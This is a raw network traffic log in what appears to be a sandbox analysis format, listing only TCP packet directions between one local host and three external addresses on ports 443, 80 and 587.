Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 208.95.112.1:80
Source: global traffic	TCP traffic: 208.95.112.1:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 208.95.112.1:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 208.95.112.1:80
Source: global traffic	TCP traffic: 208.95.112.1:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 208.95.112.1:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 208.95.112.1:80
Source: global traffic	TCP traffic: 208.95.112.1:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 208.95.112.1:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 208.95.112.1:80
Source: global traffic	TCP traffic: 208.95.112.1:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 208.95.112.1:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 208.95.112.1:80
Source: global traffic	TCP traffic: 208.95.112.1:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 208.95.112.1:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 208.95.112.1:80
Source: global traffic	TCP traffic: 208.95.112.1:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 208.95.112.1:80
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 208.91.198.143:587
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 208.91.198.143:587 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 208.91.198.143:587
